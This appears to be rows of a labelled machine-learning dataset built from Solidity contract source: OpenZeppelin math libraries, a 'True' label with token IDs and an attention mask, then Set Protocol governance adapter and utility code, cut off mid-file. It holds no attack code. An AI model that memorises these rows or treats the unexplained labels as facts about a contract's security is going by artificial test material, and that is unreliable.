* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract ContextUpgradeable is Initializable {
function __Context_init() internal initializer {
__Context_init_unchained();
}
function __Context_init_unchained() internal initializer {
}
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
uint256[50] private __gap;
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev Standard math utilities missing in the Solidity language.
*/
library MathUpgradeable {
/**
* @dev Returns the largest of two numbers.
*/
function max(uint256 a, uint256 b) internal pure returns (uint256) {
return a >= b ? a : b;
}
/**
* @dev Returns the smallest of two numbers.
*/
function min(uint256 a, uint256 b) internal pure returns (uint256) {
return a < b ? a : b;
}
/**
* @dev Returns the average of two numbers. The result is rounded towards
* zero.
*/
function average(uint256 a, uint256 b) internal pure returns (uint256) {
// (a + b) / 2 can overflow, so we distribute
return (a / 2) + (b / 2) + ((a % 2 + b % 2) / 2);
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
// CAUTION
// This version of SafeMath should only be used with Solidity 0.8 or later,
// because it relies on the compiler's built in overflow checks.
/**
* @dev Wrappers over Solidity's arithmetic operations.
*
* NOTE: `SafeMath` is no longer needed starting with Solidity 0.8. The compiler
* now has built in overflow checking.
*/
library SafeMathUpgradeable {
/**
* @dev Returns the addition of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
uint256 c = a + b;
if (c < a) return (false, 0);
return (true, c);
}
}
/**
* @dev Returns the substraction of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b > a) return (false, 0);
return (true, a - b);
}
}
/**
* @dev Returns the multiplication of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) return (true, 0);
uint256 c = a * b;
if (c / a != b) return (false, 0);
return (true, c);
}
}
/**
* @dev Returns the division of two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b == 0) return (false, 0);
return (true, a / b);
}
}
/**
* @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b == 0) return (false, 0);
return (true, a % b);
}
}
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
return a + b;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return a - b;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
return a * b;
}
/**
* @dev Returns the integer division of two unsigned integers, reverting on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator.
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return a % b;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {trySub}.
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
unchecked {
require(b <= a, errorMessage);
return a - b;
}
}
/**
* @dev Returns the integer division of two unsigned integers, reverting with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
unchecked {
require(b > 0, errorMessage);
return a / b;
}
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting with custom message when dividing by zero.
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {tryMod}.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
unchecked {
require(b > 0, errorMessage);
return a % b;
}
}
}
| True | [
101,
1013,
1013,
23772,
2595,
1011,
6105,
1011,
8909,
4765,
18095,
1024,
10210,
10975,
8490,
2863,
5024,
3012,
1014,
1012,
1022,
1012,
1014,
1025,
12324,
1000,
1030,
2330,
4371,
27877,
2378,
1013,
8311,
1011,
12200,
3085,
1013,
21183,
12146,
1013,
8785,
1013,
8785,
6279,
24170,
3085,
1012,
14017,
1000,
1025,
12324,
1000,
1030,
2330,
4371,
27877,
2378,
1013,
8311,
1011,
12200,
3085,
1013,
21183,
12146,
1013,
8785,
1013,
3647,
18900,
6979,
26952,
13662,
3085,
1012,
14017,
1000,
1025,
12324,
1000,
1030,
2330,
4371,
27877,
2378,
1013,
8311,
1011,
12200,
3085,
1013,
19204,
1013,
9413,
2278,
11387,
1013,
29464,
11890,
11387,
6279,
24170,
3085,
1012,
14017,
1000,
1025,
12324,
1000,
1030,
2330,
4371,
27877,
2378,
1013,
8311,
1011,
12200,
3085,
1013,
19204,
1013,
9413,
2278,
11387,
1013,
9413,
2278,
11387,
6279,
24170,
3085,
1012,
14017,
1000,
1025,
12324,
1000,
1030,
2330,
4371,
27877,
2378,
1013,
8311,
1011,
12200,
3085,
1013,
19204,
1013,
9413,
2278,
11387,
1013,
21183,
12146,
1013,
3647,
2121,
2278,
11387,
6279,
24170,
3085,
1012,
14017,
1000,
1025,
12324,
1000,
1030,
2330,
4371,
27877,
2378,
1013,
8311,
1011,
12200,
3085,
1013,
3036,
1013,
2128,
4765,
5521,
5666,
18405,
6279,
24170,
3085,
1012,
14017,
1000,
1025,
12324,
1000,
1012,
1013,
19706,
1013,
20868,
15878,
7911,
5897,
2099,
1012,
14017,
1000,
1025,
12324,
1000,
1012,
1013,
19706,
1013,
24582,
25377,
20049,
2618,
24759,
2271,
1012,
14017,
1000,
1025,
12324,
1000,
1012,
1013,
4606,
1012,
14017,
1000,
1025,
1013,
1008,
1008,
1008,
1030,
2516,
12490,
4606,
19204,
1012,
1008,
1008,
1037,
12490,
4606,
19204,
2003,
6153,
2011,
1037,
10810,
1997,
4606,
19204,
1012,
1996,
12490,
4606,
19204,
1010,
1008,
2247,
2007,
2049,
10318,
19204,
2015,
1999,
1996,
10810,
1010,
2323,
2031,
1996,
2168,
25039,
1012,
1008,
1013,
3206,
12490,
24759,
2271,
2003,
24582,
25377,
20049,
2618,
24759,
2271,
1010,
4606,
1010,
2128,
4765,
5521,
5666,
18405,
6279,
24170,
3085,
1063,
2478,
3647,
2121,
2278,
11387,
6279,
24170,
3085,
2005,
29464,
11890,
11387,
6279,
24170,
3085,
1025,
2478,
3647,
18900,
6979,
26952,
13662,
3085,
2005,
21318,
3372,
17788,
2575,
1025,
2724,
12927,
2098,
1006,
4769,
25331,
5310,
1010,
4769,
1031,
1033,
19204,
2015,
1010,
21318,
3372,
17788,
2575,
1031,
1033,
8310,
1010,
21318,
3372,
17788,
2575,
12927,
7377,
2890,
1010,
21318,
3372,
17788,
2575,
12927,
22591,
16671,
1007,
1025,
2724,
2417,
21564,
2098,
1006,
4769,
25331,
5310,
1010,
4769,
1031,
1033,
19204,
2015,
1010,
21318,
3372,
17788,
2575,
1031,
1033,
8310,
1010,
21318,
3372,
17788,
2575,
2417,
21564,
7377,
2890,
1010,
21318,
3372,
17788,
2575,
2417,
21564,
22591,
16671,
1010,
21318,
3372,
17788,
2575,
7408,
1007,
1025,
2724,
2128,
26657,
21531,
13701,
2094,
1006,
4769,
25331,
2128,
26657,
2099,
1010,
22017,
2140,
9124,
1007,
1025,
2724,
8117,
3669,
15549,
25469,
8609,
3695,
6279,
13701,
2094,
1006,
21318,
3372,
17788,
2575,
2214,
8609,
3695,
1010,
21318,
3372,
17788,
2575,
2047,
8609,
3695,
1007,
1025,
2724,
19204,
4215,
5732,
1006,
4769,
25331,
19204,
1007,
1025,
2724,
19204,
28578,
21818,
2094,
1006,
4769,
25331,
19204,
1007,
1025,
2724,
2128,
26657,
2094,
1006,
21318,
3372,
17788,
2575,
10318,
4783,
29278,
2063,
1010,
21318,
3372,
17788,
2575,
10318,
10354,
102
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
]
|
/*
Copyright 2021 IndexCooperative
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/
pragma solidity 0.6.10;
import { BaseAdapter } from "../lib/BaseAdapter.sol";
import { IBaseManager } from "../interfaces/IBaseManager.sol";
import { IGovernanceModule } from "../interfaces/IGovernanceModule.sol";
import { ISetToken } from "../interfaces/ISetToken.sol";
/**
* @title GovernanceAdapter
* @author Set Protocol
*
* Smart contract adapter that acts as a manager interface for interacting with the Set Protocol
* GovernanceModule to perform meta-governance actions. All governance functions are callable only
* by a subset of allowed callers. The operator has the power to add/remove callers from the allowed
* callers mapping.
*/
contract GovernanceAdapter is BaseAdapter {
/* ============ State Variables ============ */
ISetToken public setToken;
IGovernanceModule public governanceModule;
/* ============ Constructor ============ */
constructor(IBaseManager _manager, IGovernanceModule _governanceModule) public BaseAdapter(_manager) {
governanceModule = _governanceModule;
setToken = manager.setToken();
}
/* ============ External Functions ============ */
/**
* ONLY APPROVED CALLER: Submits a delegate call to the GovernanceModule. Approved caller mapping
* is part of BaseAdapter.
*
* @param _governanceName Name of governance adapter being used
*/
function delegate(
string memory _governanceName,
address _delegatee
)
external
onlyAllowedCaller(msg.sender)
{
bytes memory callData = abi.encodeWithSelector(
IGovernanceModule.delegate.selector,
setToken,
_governanceName,
_delegatee
);
invokeManager(address(governanceModule), callData);
}
/**
* ONLY APPROVED CALLER: Submits a proposal call to the GovernanceModule. Approved caller mapping
* is part of BaseAdapter.
*
* @param _governanceName Name of governance adapter being used
* @param _proposalData Byte data of proposal
*/
function propose(
string memory _governanceName,
bytes memory _proposalData
)
external
onlyAllowedCaller(msg.sender)
{
bytes memory callData = abi.encodeWithSelector(
IGovernanceModule.propose.selector,
setToken,
_governanceName,
_proposalData
);
invokeManager(address(governanceModule), callData);
}
/**
* ONLY APPROVED CALLER: Submits a register call to the GovernanceModule. Approved caller mapping
* is part of BaseAdapter.
*
* @param _governanceName Name of governance adapter being used
*/
function register(string memory _governanceName) external onlyAllowedCaller(msg.sender) {
bytes memory callData = abi.encodeWithSelector(
IGovernanceModule.register.selector,
setToken,
_governanceName
);
invokeManager(address(governanceModule), callData);
}
/**
* ONLY APPROVED CALLER: Submits a revoke call to the GovernanceModule. Approved caller mapping
* is part of BaseAdapter.
*
* @param _governanceName Name of governance adapter being used
*/
function revoke(string memory _governanceName) external onlyAllowedCaller(msg.sender) {
bytes memory callData = abi.encodeWithSelector(
IGovernanceModule.revoke.selector,
setToken,
_governanceName
);
invokeManager(address(governanceModule), callData);
}
/**
* ONLY APPROVED CALLER: Submits a vote call to the GovernanceModule. Approved caller mapping
* is part of BaseAdapter.
*
* @param _governanceName Name of governance adapter being used
* @param _proposalId Id of proposal being voted on
* @param _support Boolean indicating if supporting proposal
* @param _data Arbitrary bytes to be used to construct vote call data
*/
function vote(
string memory _governanceName,
uint256 _proposalId,
bool _support,
bytes memory _data
)
external
onlyAllowedCaller(msg.sender)
{
bytes memory callData = abi.encodeWithSelector(
IGovernanceModule.vote.selector,
setToken,
_governanceName,
_proposalId,
_support,
_data
);
invokeManager(address(governanceModule), callData);
}
/**
* ONLY OPERATOR: Initialize GovernanceModule for Set
*/
function initialize() external onlyOperator {
bytes memory callData = abi.encodeWithSelector(
IGovernanceModule.initialize.selector,
setToken
);
invokeManager(address(governanceModule), callData);
}
}
/*
Copyright 2021 Set Labs Inc.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/
pragma solidity 0.6.10;
import { AddressArrayUtils } from "../lib/AddressArrayUtils.sol";
import { IBaseManager } from "../interfaces/IBaseManager.sol";
/**
* @title BaseAdapter
* @author Set Protocol
*
* Abstract class that houses common adapter-related state and functions.
*/
abstract contract BaseAdapter {
using AddressArrayUtils for address[];
/* ============ Events ============ */
event CallerStatusUpdated(address indexed _caller, bool _status);
event AnyoneCallableUpdated(bool indexed _status);
/* ============ Modifiers ============ */
/**
* Throws if the sender is not the SetToken operator
*/
modifier onlyOperator() {
require(msg.sender == manager.operator(), "Must be operator");
_;
}
/**
* Throws if the sender is not the SetToken methodologist
*/
modifier onlyMethodologist() {
require(msg.sender == manager.methodologist(), "Must be methodologist");
_;
}
/**
* Throws if caller is a contract, can be used to stop flash loan and sandwich attacks
*/
modifier onlyEOA() {
require(msg.sender == tx.origin, "Caller must be EOA Address");
_;
}
/**
* Throws if not allowed caller
*/
modifier onlyAllowedCaller(address _caller) {
require(isAllowedCaller(_caller), "Address not permitted to call");
_;
}
/* ============ State Variables ============ */
// Instance of manager contract
IBaseManager public manager;
// Boolean indicating if anyone can call function
bool public anyoneCallable;
// Mapping of addresses allowed to call function
mapping(address => bool) public callAllowList;
/* ============ Constructor ============ */
constructor(IBaseManager _manager) public { manager = _manager; }
/* ============ External Functions ============ */
/**
* OPERATOR ONLY: Toggle ability for passed addresses to call only allowed caller functions
*
* @param _callers Array of caller addresses to toggle status
* @param _statuses Array of statuses for each caller
*/
function updateCallerStatus(address[] calldata _callers, bool[] calldata _statuses) external onlyOperator {
require(_callers.length == _statuses.length, "Array length mismatch");
require(_callers.length > 0, "Array length must be > 0");
require(!_callers.hasDuplicate(), "Cannot duplicate callers");
for (uint256 i = 0; i < _callers.length; i++) {
address caller = _callers[i];
bool status = _statuses[i];
callAllowList[caller] = status;
emit CallerStatusUpdated(caller, status);
}
}
/**
* OPERATOR ONLY: Toggle whether anyone can call function, bypassing the callAllowlist
*
* @param _status Boolean indicating whether to allow anyone call
*/
function updateAnyoneCallable(bool _status) external onlyOperator {
anyoneCallable = _status;
emit AnyoneCallableUpdated(_status);
}
/* ============ Internal Functions ============ */
/**
* Invoke manager to transfer tokens from manager to other contract.
*
* @param _token Token being transferred from manager contract
* @param _amount Amount of token being transferred
*/
function invokeManagerTransfer(address _token, address _destination, uint256 _amount) internal {
bytes memory callData = abi.encodeWithSignature("transfer(address,uint256)", _destination, _amount);
invokeManager(_token, callData);
}
/**
* Invoke call from manager
*
* @param _module Module to interact with
* @param _encoded Encoded byte data
*/
function invokeManager(address _module, bytes memory _encoded) internal {
manager.interactManager(_module, _encoded);
}
/**
* Determine if passed address is allowed to call function. If anyoneCallable set to true anyone can call otherwise needs to be approved.
*
* return bool Boolean indicating if allowed caller
*/
function isAllowedCaller(address _caller) internal view virtual returns (bool) {
return anyoneCallable || callAllowList[_caller];
}
}
/*
Copyright 2021 Set Labs Inc.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/
pragma solidity 0.6.10;
pragma experimental "ABIEncoderV2";
import { ISetToken } from "./ISetToken.sol";
interface IBaseManager {
function setToken() external returns(ISetToken);
function methodologist() external returns(address);
function operator() external returns(address);
function interactManager(address _module, bytes calldata _encoded) external;
}
/*
Copyright 2020 Set Labs Inc.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
SPDX-License-Identifier: Apache License, Version 2.0
*/
pragma solidity 0.6.10;
import { ISetToken } from "./ISetToken.sol";
interface IGovernanceModule {
function delegate(ISetToken _setToken, string memory _governanceName, address _delegatee) external;
function propose(ISetToken _setToken, string memory _governanceName, bytes memory _proposalData) external;
function register(ISetToken _setToken, string memory _governanceName) external;
function revoke(ISetToken _setToken, string memory _governanceName) external;
function vote(
ISetToken _setToken,
string memory _governanceName,
uint256 _proposalId,
bool _support,
bytes memory _data
)
external;
function initialize(ISetToken _setToken) external;
}
pragma solidity 0.6.10;
pragma experimental "ABIEncoderV2";
import { IERC20 } from "@openzeppelin/contracts/token/ERC20/IERC20.sol";
/**
* @title ISetToken
* @author Set Protocol
*
* Interface for operating with SetTokens.
*/
interface ISetToken is IERC20 {
/* ============ Enums ============ */
enum ModuleState {
NONE,
PENDING,
INITIALIZED
}
/* ============ Structs ============ */
/**
* The base definition of a SetToken Position
*
* @param component Address of token in the Position
* @param module If not in default state, the address of associated module
* @param unit Each unit is the # of components per 10^18 of a SetToken
* @param positionState Position ENUM. Default is 0; External is 1
* @param data Arbitrary data
*/
struct Position {
address component;
address module;
int256 unit;
uint8 positionState;
bytes data;
}
/**
* A struct that stores a component's cash position details and external positions
* This data structure allows O(1) access to a component's cash position units and
* virtual units.
*
* @param virtualUnit Virtual value of a component's DEFAULT position. Stored as virtual for efficiency
* updating all units at once via the position multiplier. Virtual units are achieved
* by dividing a "real" value by the "positionMultiplier"
* @param componentIndex
* @param externalPositionModules List of external modules attached to each external position. Each module
* maps to an external position
* @param externalPositions Mapping of module => ExternalPosition struct for a given component
*/
struct ComponentPosition {
int256 virtualUnit;
address[] externalPositionModules;
mapping(address => ExternalPosition) externalPositions;
}
/**
* A struct that stores a component's external position details including virtual unit and any
* auxiliary data.
*
* @param virtualUnit Virtual value of a component's EXTERNAL position.
* @param data Arbitrary data
*/
struct ExternalPosition {
int256 virtualUnit;
bytes data;
}
/* ============ Functions ============ */
function addComponent(address _component) external;
function removeComponent(address _component) external;
function editDefaultPositionUnit(address _component, int256 _realUnit) external;
function addExternalPositionModule(address _component, address _positionModule) external;
function removeExternalPositionModule(address _component, address _positionModule) external;
function editExternalPositionUnit(address _component, address _positionModule, int256 _realUnit) external;
function editExternalPositionData(address _component, address _positionModule, bytes calldata _data) external;
function invoke(address _target, uint256 _value, bytes calldata _data) external returns(bytes memory);
function editPositionMultiplier(int256 _newMultiplier) external;
function mint(address _account, uint256 _quantity) external;
function burn(address _account, uint256 _quantity) external;
function lock() external;
function unlock() external;
function addModule(address _module) external;
function removeModule(address _module) external;
function initializeModule() external;
function setManager(address _manager) external;
function manager() external view returns (address);
function moduleStates(address _module) external view returns (ModuleState);
function getModules() external view returns (address[] memory);
function getDefaultPositionRealUnit(address _component) external view returns(int256);
function getExternalPositionRealUnit(address _component, address _positionModule) external view returns(int256);
function getComponents() external view returns(address[] memory);
function getExternalPositionModules(address _component) external view returns(address[] memory);
function getExternalPositionData(address _component, address _positionModule) external view returns(bytes memory);
function isExternalPositionModule(address _component, address _module) external view returns(bool);
function isComponent(address _component) external view returns(bool);
function positionMultiplier() external view returns (int256);
function getPositions() external view returns (Position[] memory);
function getTotalComponentRealUnits(address _component) external view returns(int256);
function isInitializedModule(address _module) external view returns(bool);
function isPendingModule(address _module) external view returns(bool);
function isLocked() external view returns (bool);
}
/*
Copyright 2020 Set Labs Inc.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
SPDX-License-Identifier: Apache License, Version 2.0
*/
pragma solidity 0.6.10;
/**
* @title AddressArrayUtils
* @author Set Protocol
*
* Utility functions to handle Address Arrays
*
* CHANGELOG:
* - 4/27/21: Added validatePairsWithArray methods
*/
library AddressArrayUtils {
/**
* Finds the index of the first occurrence of the given element.
* @param A The input array to search
* @param a The value to find
* @return Returns (index and isIn) for the first occurrence starting from index 0
*/
function indexOf(address[] memory A, address a) internal pure returns (uint256, bool) {
uint256 length = A.length;
for (uint256 i = 0; i < length; i++) {
if (A[i] == a) {
return (i, true);
}
}
return (uint256(-1), false);
}
/**
* Returns true if the value is present in the list. Uses indexOf internally.
* @param A The input array to search
* @param a The value to find
* @return Returns isIn for the first occurrence starting from index 0
*/
function contains(address[] memory A, address a) internal pure returns (bool) {
(, bool isIn) = indexOf(A, a);
return isIn;
}
/**
* Returns true if there are 2 elements that are the same in an array
* @param A The input array to search
* @return Returns boolean for the first occurrence of a duplicate
*/
function hasDuplicate(address[] memory A) internal pure returns(bool) {
require(A.length > 0, "A is empty");
for (uint256 i = 0; i < A.length - 1; i++) {
address current = A[i];
for (uint256 j = i + 1; j < A.length; j++) {
if (current == A[j]) {
return true;
}
}
}
return false;
}
/**
* @param A The input array to search
* @param a The address to remove
* @return Returns the array with the object removed.
*/
function remove(address[] memory A, address a)
internal
pure
returns (address[] memory)
{
(uint256 index, bool isIn) = indexOf(A, a);
if (!isIn) {
revert("Address not in array.");
} else {
(address[] memory _A,) = pop(A, index);
return _A;
}
}
/**
* @param A The input array to search
* @param a The address to remove
*/
function removeStorage(address[] storage A, address a)
internal
{
(uint256 index, bool isIn) = indexOf(A, a);
if (!isIn) {
revert("Address not in array.");
} else {
uint256 lastIndex = A.length - 1; // If the array would be empty, the previous line would throw, so no underflow here
if (index != lastIndex) { A[index] = A[lastIndex]; }
A.pop();
}
}
/**
* Removes specified index from array
* @param A The input array to search
* @param index The index to remove
* @return Returns the new array and the removed entry
*/
function pop(address[] memory A, uint256 index)
internal
pure
returns (address[] memory, address)
{
uint256 length = A.length;
require(index < A.length, "Index must be < A length");
address[] memory newAddresses = new address[](length - 1);
for (uint256 i = 0; i < index; i++) {
newAddresses[i] = A[i];
}
for (uint256 j = index + 1; j < length; j++) {
newAddresses[j - 1] = A[j];
}
return (newAddresses, A[index]);
}
/**
* Returns the combination of the two arrays
* @param A The first array
* @param B The second array
* @return Returns A extended by B
*/
function extend(address[] memory A, address[] memory B) internal pure returns (address[] memory) {
uint256 aLength = A.length;
uint256 bLength = B.length;
address[] memory newAddresses = new address[](aLength + bLength);
for (uint256 i = 0; i < aLength; i++) {
newAddresses[i] = A[i];
}
for (uint256 j = 0; j < bLength; j++) {
newAddresses[aLength + j] = B[j];
}
return newAddresses;
}
/**
* Validate that address and uint array lengths match. Validate address array is not empty
* and contains no duplicate elements.
*
* @param A Array of addresses
* @param B Array of uint
*/
function validatePairsWithArray(address[] memory A, uint[] memory B) internal pure {
require(A.length == B.length, "Array length mismatch");
_validateLengthAndUniqueness(A);
}
/**
* Validate that address and bool array lengths match. Validate address array is not empty
* and contains no duplicate elements.
*
* @param A Array of addresses
* @param B Array of bool
*/
function validatePairsWithArray(address[] memory A, bool[] memory B) internal pure {
require(A.length == B.length, "Array length mismatch");
_validateLengthAndUniqueness(A);
}
/**
* Validate that address and string array lengths match. Validate address array is not empty
* and contains no duplicate elements.
*
* @param A Array of addresses
* @param B Array of strings
*/
function validatePairsWithArray(address[] memory A, string[] memory B) internal pure {
require(A.length == B.length, "Array length mismatch");
_validateLengthAndUniqueness(A);
}
/**
* Validate that address array lengths match, and calling address array are not empty
* and contain no duplicate elements.
*
* @param A Array of addresses
* @param B Array of addresses
*/
function validatePairsWithArray(address[] memory A, address[] memory B) internal pure {
require(A.length == B.length, "Array length mismatch");
_validateLengthAndUniqueness(A);
}
/**
* Validate that address and bytes array lengths match. Validate address array is not empty
* and contains no duplicate elements.
*
* @param A Array of addresses
* @param B Array of bytes
*/
function validatePairsWithArray(address[] memory A, bytes[] memory B) internal pure {
require(A.length == B.length, "Array length mismatch");
_validateLengthAndUniqueness(A);
}
/**
* Validate address array is not empty and contains no duplicate elements.
*
* @param A Array of addresses
*/
function _validateLengthAndUniqueness(address[] memory A) internal pure {
require(A.length > 0, "Array length must be > 0");
require(!hasDuplicate(A), "Cannot duplicate addresses");
}
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
